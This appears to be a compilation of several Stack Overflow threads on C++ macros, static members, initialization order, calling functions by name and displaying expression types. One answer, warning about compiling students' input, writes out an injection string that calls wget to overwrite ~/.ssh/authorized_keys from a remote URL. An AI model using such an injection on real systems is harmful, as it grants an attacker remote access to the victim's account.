I am writing a C++ program and I have predefined objects Serial1, Serial2, Serial3, etc. I need to make a function to operate on only one of them depending on a numeric input known at compile time. I use the concatenation macro #define SER(x) Serial##x but in my main if use SER(port).read() and port is an int equal to 1, expression expands to Serialport.read() instead of Serial1.read(). However, SER(1).read() gives the required result. How can I force the preprocessor to evaluate variable port and use its value in the expansion?
BTW, I don't know the class name of Serial1, Serial2, etc so I cannot design a workaround using pointers or references
EDIT: After seeing some answers, I need to add some clarification. I need to be able to use this function with all Serial1, Serial2, etc. by calling it multiple times in a SINGLE RUN of my code. Sorry for not making that clear before!
You need to use two levels of macros to accomplish what you are trying.
#define SER2(x) Serial##x
#define SER(x) SER2(x)
Here's a test program that demonstrates the concept.
#include <iostream>
#include <string>
struct Port
{
Port(std::string name) : name_(name) {}
void write()
{
std::cout << name_ << std::endl;
}
std::string name_;
};
Port Serial1("PORT1");
Port Serial2("PORT2");
#define SER2(x) Serial##x
#define SER(x) SER2(x)
int main()
{
SER(port).write();
}
Command to build:
g++ -std=c++11 -Wall socc.cc -o socc -Dport=1
Output:
PORT1
Command to build:
g++ -std=c++11 -Wall socc.cc -o socc -Dport=2
Output:
PORT2
Update
With the updated question, the only sensible approach is to use an array of objects and use the appropriate element of the array based on the run time data.
The fact that you don't know the type doesn't really matter: decltype(Serial1) will give that. Do you know whether they all have the same type? Because if they don't, no single C++ function can return them directly. And if they don't even have a common base class, it's even harder.
The template mechanism is more powerful than the preprocessor, so it makes sense to draft that:
template<int N> struct Serial { };
template<> struct Serial<1> { static decltype(Serial1)* const ptr = &Serial1 };
template<> struct Serial<2> { static decltype(Serial2)* const ptr = &Serial3 };
template<> struct Serial<3> { static decltype(Serial3)* const ptr = &Serial3 };
// You can now use Serial<8/2-2>.ptr->
Of course, writing out the template specializations is boring. So let's get Boost.PP :
#define BOOST_PP_LOCAL_MACRO (1, 7) // Assuming you have ports 1 to 7
#define BOOST_PP_LOCAL_MACRO(n) \
template<> struct Serial<n> { \
static decltype(BOOST_PP_CAT(Serial,n))* const ptr = &Serial##n; \
};
#include BOOST_PP_LOCAL_ITERATE()
Yes, that last line is a #include without quotes. And no, I'm not sure if this is an improvement ;)
Related
Related to this. I'd like to avoid using global variables so I resorted to using structs with enum and std::string[] (see link) in order to build menus for a small application. I would also like to have these enums in a separate header file. The selected answer in the link implies using --std=c++17, which I'd like to avoid, at least for now, and decided to use a static const std::string[] -- no need to include extra array or vector since this is initialized once, never modified, only called, ALL is always known.
As other answers on this have made it clear, I need to either initialize A::names outside the struct, or use a static const std::string& setter (see this, for example). But all the answers so far dealt with a std::string, not an array, std::string[].
This is a simple example of what I tried. It simply tries to print the contents of A::names using a for() loop iterating through the enum in struct A:
a.h:
#ifndef A_H_INCLUDED
#define A_H_INCLUDED
#include <string>
struct A
{
enum E { ONE, TWO, ALL };
static const std::string names[ALL];
};
#endif // A_H_INCLUDED
a.cpp:
#include "a.h"
static const std::string A::names[A::ALL] { "one", "two" };
main.cpp:
#include "a.h"
#include <iostream>
int main()
{
for(int i=A::ONE; i<A::ALL; ++i)
std::cout << A::names[i] << '\n';
return 0;
}
The error after g++ main.cpp is:
main.cpp:(.text+0x24): undefined reference to `A::names[abi:cxx11]'
collect2: error: ld returned 1 exit status
Seeing the cxx11, I thought g++ --std=c++11 main.cpp would solve it, but it doesn't.
So, what am I doing wrong, or, how could I adapt the version with the setter to return an array, std::string[]? My goal is to have an alternative to a global variable, that has only one instance in memory no matter how many calls.
Here's an adapted code, from a small program, on how I would build a menu using struct with enum and string (menu_design = new QMenu... and menuDesignAction() is the function that updates):
for(unsigned char i=0; i<A::ALL; ++i) // needs initializing
{
QAction *tmpAction {new QAction(tr(A::names[i].c_str()))};
tmpAction->setObjectName(QString("%1").arg(i));
connect(tmpAction, SIGNAL(triggered(bool)), this, SLOT(menuDesignAction()));
menu_design->addAction(tmpAction);
}
As a side-note, in the snippet above, I have to use .c_str(), but I am using a std::string in the enum. If I could make it *char[] instead of std::string[], would I avoid extra calls? If I am not wrong, how could the answers to my problem (assuming there are) be adapted so as to be able to fit somehow in the Qt snippet?
I'm having a little trouble understanding why my code works the way it does (or doesn't work the way it ought to).
I'm trying to write (in C++) an interface that allows to use some functions operating on unordered_map from the standard template library in C. However, I'd also like to write a namespace that allows to use them in C++ as well.
What I'm asking is not how this can be thone in a different way, but why it works the way it does;
Let's say for a while that I need only two functions: to add elements and write the size of the map. The header is the following:
//project.h
#ifdef __cplusplus
extern "C" {
#endif
void add(int, int);
void give_size();
#ifdef __cplusplus
}
#endif
The source code:
//project.cc
#include <unordered_map>
#include <iostream>
#include "project.h"
using namespace std;
unordered_map<int, int> my_map;
void add(int arg, int val) {
my_map.insert ({{arg, val}});
}
void give_size() {
cout << my_map.size() << endl;
}
The interface for C++:
//cproject
namespace pro {
#include "project.h"
}
and a test:
//test.cc
#include "cproject"
namespace {
unsigned long test() {
::pro::add(1,2);
::pro::add(3,4);
return 0;
}
unsigned long dummy = test();
}
int main() {
::pro::give_size();
return 0;
}
And, for completeness, the Makefile:
g++ -Wall -std=c++11 -c -o project.o project.cc
g++ -Wall -std=c++11 -c -o test.o test.cc
g++ test.o project.o -o test
The problem is, of course, that running test outputs 0 instead of 2 - which means that the map disappears somewhere before the test's main.
I was thinking it might be some sort of static initialization order fiasco, however I don't find the attached solution very helpful, since I don't explicitly call objects from the project.cc file in test.cc.
I would appreciate any help with that issue.
Yes, it's the poorly named static initialization order fiasco. Poorly named because the C++ standard calls it "dynamic initialization"; "static initialization" is something different.
which means that the map disappears somewhere before the test's main
Not quite. The problem is that you use the map before it's there, adding values to it. Now it happens that for some map implementations, a zero-initialized state (and that is what is done to all global variables before any dynamic initializers run) is the same as what the default constructor does. So the code in test is executed first and tries to add things to the map, and the map's insert function works just fine, creating nodes, setting internal pointers to the nodes, etc.
Then the actual default constructor of the map runs, resetting those pointers to null, leaking and forgetting all the nodes you created. Your previous insertions are undone, and the map is empty again.
The solutions provided in your link would work; you implicitly call objects through the free functions, even if you don't do it explicitly. There's no real distinction. You still replace the global my_map in project.cc with a function that returns a reference to a function-level static (or pointer, depending on which exact solution you choose). The only difference is that you call this function not from within test.cc, but from within add and give_size.
As a side note, this whole global state thing is generally rather suspect. It's not thread-safe, and it makes it harder to understand what the program is doing. Consider not doing it this way at all.
A bit of background: I want to write a tool that compiles a bunch of named things into C++ code. The list changes and I don't want to rebuild the world when that happens. Despite that, I want to address the compiled code by (literal) name.
As an example of something that's not quite right, I could have put this in a header:
template<int name> void func();
Then my tool can generate code like:
template<> void func<1>() { ... }
template<> void func<2>() { ... }
template<> void func<3>() { ... }
Now I can call these by "name" anywhere without pre-declaring each one.
I want to do this, but with something more descriptive than integers. Ideally I want text of some form. What I need is something like:
#define FUNC_WITH_NAME(name) func_named_ ## name
That doesn't quite work, though: it needs a declaration of func_named_whatever.
The next try is no good either (and it's GCC-specific):
#define FUNC_WITH_NAME(name) ({extern void func_named_ ## name; func_named_ ## name;})
It fails because, if it's used inside a namespace, then it ends up looking for func_named_whatever in that namespace.
The best I've come up with is this:
template<char... tagchars> int tagged();
namespace NS {
int caller()
{
return tagged<'n', 'a', 'm', 'e'>();
}
}
This works, but it's ugly (and it's not obvious how to turn a string literal into a parameter pack without jumping through nasty hoops). Also, if the symbol doesn't resolve, then the error message from g++ is terrible:
In function `NS::caller()':
named_symbol.cpp:(.text+0x5): undefined reference to `int tagged<(char)110, (char)97, (char)109, (char)101>()'
collect2: error: ld returned 1 exit status
The only thing that I've come up with is a gcc extension:
extern void func_named_whatever __asm__("func_named_whatever");
But this is no good as a template argument (it only affects calls to that function; it does not affect use of magic asm-ified symbols when they're template arguments), and it defeats any link-time type checking because it turns off mangling.
Now I can call these by "name" anywhere without pre-declaring each one.
To call any function at compile time, you need to forward-declare it.
Because you want to call them at compile time, there's no need to use string literals. And you can only do this using preprocessor, not templates, because you cannot specify identifier names for templates (in C++03, at least).
Example:
#include <iostream>
#define CALL_FUNC(func, args) name_ ##func args;
void name_func1(){
std::cout << "func1" << std::endl;
}
void name_func2(int a){
std::cout << "func2:" << a << std::endl;
}
int main(int argc, char** argv){
CALL_FUNC(func1, ());
CALL_FUNC(func2, (46));
return 0;
}
You can forward-declare function within function body:
#include <iostream>
int main(int argc, char** argv){
void name_func(int);
name_func(42);
return 0;
}
void name_func(int arg){
std::cout << "func1:" << arg << std::endl;
}
So, technically, you don't even need to use preprocessor for that.
You cannot avoid forward-declaration, unless all functions arguments are known as well as their types, in which case you can hide forward-declaration with macros.
#include <iostream>
#define FUNC_NAME(func) name_ ##func
#define CALL_VOID_FUNC(func) { void FUNC_NAME(func)(); FUNC_NAME(func)(); }
int main(int argc, char** argv){
CALL_VOID_FUNC(func1);//not forward declared
return 0;
}
void name_func1(){
std::cout << "func1" << std::endl;
}
Or if you want to specify function argument types every time you call functions and know number of arguments:
#include <iostream>
#define FUNC_NAME(func) name_ ##func
#define CALL_FUNC_1ARG(func, type1, arg1) { void FUNC_NAME(func)(type1); FUNC_NAME(func)(arg1); }
int main(int argc, char** argv){
CALL_FUNC_1ARG(func1, int, 42);
return 0;
}
void name_func1(int arg){
std::cout << "func1:" << arg << std::endl;
}
Or if your function can take variable number of arguments. (parsing varargs is fun):
#include <iostream>
#define FUNC_NAME(func) name_ ##func
#define CALL_FUNC_VARIADIC(func, args) { void FUNC_NAME(func)(...); FUNC_NAME(func)args; }
int main(int argc, char** argv){
CALL_FUNC_VARIADIC(func1, (42, 43, 44));
return 0;
}
void name_func1(...){
//std::cout << "func1:" << arg << std::endl;
}
If you want to use STRINGS (as in "func1"), then you are trying to locate function at run time, not at compile time, even if you don't really think so. That's because "funcname" isn't that different from (std::string(std::string("func") + std::string("name")).c_str()) - it is pointer to memory region with character. Some compiler might provide extensions to "unstringize" string, but I'm not aware of such extensions.
In this case your only option is to write either preprocessor or code-generator, that'll scan some kind of text template (that lists functions) every time you build the project, and converts it into .h/.cpp files that are then compiled into your project. Those .h/.cpp files shoudl build function table (name to function pointer map) that is then used "behind the scenes" in your project. See Qt MOC for a working example. That'll require recompilation every time you add new function to template.
If you do not want recompilation for every new function prototype (although you can't add call to a new function without recompiling project, obviously), then your only choice is to embed scripting language into your application. This way you'll be able to add functions without recompiling. At we momen, you can embed lua, python, lisp(via ecl) and other languages. There's also working C++ interpreter, although I doubt it is embeddable.
If you do not want to use any options I listed, then (AFAIK) you cannot do that at all. Drop some requirement ("no recompilation", "no forward declaration", "call using string literal") and try again.
Can I reliably turn a string literal into a symbol name using the C macro language?
No. You can turn string literal into identifier to be processed by compiler (using stringize), but if compiler doesn't know this identifier at this point of compilation, your code won't compile. So, if you're going to call functions this way using their names, then you'll have to insure that they all were forward-declared before. And you won't be able to locate them at runtime.
C++ doesn't store names for functions and variables in compiled code. So you can't find compiled function by its name. This is because C++ linker is free to eliminate unused functions completely, inline them or create multiple copies.
What you CAN do:
Create a table of functions that you want to address by name (that maps function name to function pointer), then use this table to locate functions. You'll have to manually register every function you want to be able to find in this table. Something like this:
typedef std::string FunctionName;
typedef void(*Function)(int arg);
typedef std::map<FunctionName, Function> FunctionMap;
FunctionMap globalFunctionMap;
void callFunction(const std::string &name, int arg){
FunctionMap::iterator found = globalFunctionMap.find(name);
if (found == globalFunctionMap.end()){
//could not find function
return;
}
(*found->second)(arg);
}
Use dynamic/shared libraries. Put functions you want to be able to address into shared library (extern "C" __declspec(dllexport) or __declspec(dllexport)), mark them for export then use operating system functions to locate function within library (dlsym on linux, GetProcAddress of windows). Afaik, you might be able export functions from exe as well, so you might be able to use this approach without additional dlls.
Embed scripting language into your application. Basically, in most scripting languages you can locate and call function by its name. That'll be function declared within scripting language, obviously, not a C++ function.
Write code preprocessor that'll scan your project for "named" functions and build table of those function (method #1) somewhere automatically. Can be very difficult, because C++ is not that easy to parse.
The ideal solution would be N3413, but that's a long way off.
With thanks to 0x499602d2 and Using strings in C++ template metaprograms, here's a so-so answer:
template<char... str>
struct tag
{
template<char first>
struct prepend
{
typedef tag<first, str...> type;
};
};
template<typename Tag>
void func();
#define PREPARE_STR_TAGGER(str) \
template<int charsleft> \
struct tagger_for_##str \
{ \
typedef typename \
tagger_for_##str<charsleft-1>::type:: \
template prepend<(#str)[sizeof(#str)-1-charsleft]>::type type; \
}; \
template<> \
struct tagger_for_##str<0> \
{ \
typedef tag<> type; \
};
#define STRING_TO_TAG(str) tagger_for_##str<sizeof(#str)-1>::type
namespace SHOULD_NOT_MATTER {
PREPARE_STR_TAGGER(some_string);
void test()
{
func<STRING_TO_TAG(some_string)>();
}
}
Downsides:
It's awkward to use: you need to use PREPARE_STR_TAGGER at namespace (or maybe class) scope.
It's probably unfriendly to compile time.
The linker errors it generates are awful.
Some kind of decent hash function based on constexpr would work, but it would result in even more awful error messages.
Improvements are welcome.
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this? If not, is there a pretty easy way to do it by integrating with an existing compiler and calling into its debugger or API? I've been told, for example, that Clang has a fairly complete compiler API, perhaps there's some way to just pass a string into Clang along with the appropriate include directives and have it spit out a type?
I realize that this is potentially a huge project if there's nothing close to this existing today. I just thought it would have significant educational value, so it seemed like it was worth checking.
I came up with an answer inspired by Ben Voigt's comments. Just make a bug and let the compiler tell you the type which caused it:
template <typename T> void foo(T); // No definition
int main() {
foo(1 + 3.0);
}
Result:
In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'
Also, since you execute nothing but the compiler, you're pretty safe. No sandboxing needed, really. If you get anything other than "undefined reference to void foo<T>(T)", it wasn't an expression.
[edit] How would you put this into a tool? Simple, with macro's
// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }
int main() {
foo(EXPR);
}
Now compile with $(CC) /D=(EXPR) TestHarness.cpp. Saves you from rebuilding the input file every time.
Improving yet more on MSalter's improvement:
class X {
template <typename T> static void foo(T) {}
};
int main() {
X::foo( $user_code );
}
Result (with $user_code = "1 + 3.0"):
prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context
This avoids the link step.
Original answer:
C++ has the typeid keyword. Conceptually, you just need to stick the user's expression into some boilerplate like:
extern "C" int puts(const char *s);
#include <typeinfo>
int main(void)
{
const type_info& the_type = typeid( $user_code );
puts(the_type.name());
}
And then pass that source file to the compiler, and run it to get the answer.
Practically, it's going to be difficult to avoid running malicious code. You'd need to use a sandbox of some type. Or be really really careful to make sure that there aren't mismatched parentheses (you do know what trigraphs are, right?).
yes I'm aware that the argument of typeid isn't evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" !
A better option would be to avoid running the program. With a framework (requires C++11) like:
extern "C" decltype( $user_code )* the_value = 0;
You could run the compiler with the option to generate debug data, then use e.g. a dwarf2 reader library and get the symbolic type information associated with the_value, then remove one level of pointer.
Here's one way you can do this in GCC and Clang with __PRETTY_FUNCTION__:
#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>
template<typename T>
static constexpr auto type_name() noexcept {
// __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
return std::string_view{ begin, size };
}
template <typename T1, typename T2>
class my_class { }; // Example Class
int main() {
my_class<int&, std::vector<double>> my_arr[20];
std::cout << type_name<decltype(my_arr)>();
}
Output on GCC:
my_class<int&, std::vector<double> > [20]
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this?
These days, there sort of is such a tool - online. It only does what you want as an unintended by product though. I'm talking about Matt Godbolt's Compiler Explorer.
Your "program" will look like this:
#define EXPRESSION 123
template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
Now, if you replace 123 with a C++ expression, you'll get, in the compiler error messages section, the following:
<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type
4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
| ^
Compiler returned: 1
The first line has your desired type, within the angle brackets.
I'm trying to write a macro to make a specific usage of callbacks in C++ easier. All my callbacks are member functions and will take this as first argument and a second one whose type inherits from a common base class.
The usual way to go is:
register_callback(boost::bind(&my_class::member_function, this, _1));
I'd love to write:
register_callback(HANDLER(member_function));
Note that it will always be used within the same class.
Even if typeof is considered as a bad practice, it sounds like a pretty solution to the lack of __class__ macro to get the current class name.
The following code works:
typedef typeof(*this) CLASS;
boost::bind(& CLASS :: member_function, this, _1)(my_argument);
but I can't use this code in a macro which will be given as argument to register_callback.
I've tried:
#define HANDLER(FUN) \
boost::bind(& typeof(*this) :: member_function, this, _1);
which doesn't work for reasons I don't understand. Quoting GCC documentation:
A typeof-construct can be used anywhere a typedef name could be used.
My compiler is GCC 4.4, and even if I'd prefer something standard, GCC-specific solutions are accepted.
Your problem might be that typeof yields my_class&. It appears to work with boost::remove_reference:
#include <boost/bind.hpp>
#include <boost/type_traits.hpp>
#include <iostream>
struct X
{
void foo(int i) { std::cout << i << '\n'; }
void bar() {boost::bind(&boost::remove_reference<typeof(*this)>::type::foo, this, _1)(10); }
};
int main()
{
X x;
x.bar();
}
It might be more portable to use BOOST_TYPEOF, and in C++0x decltype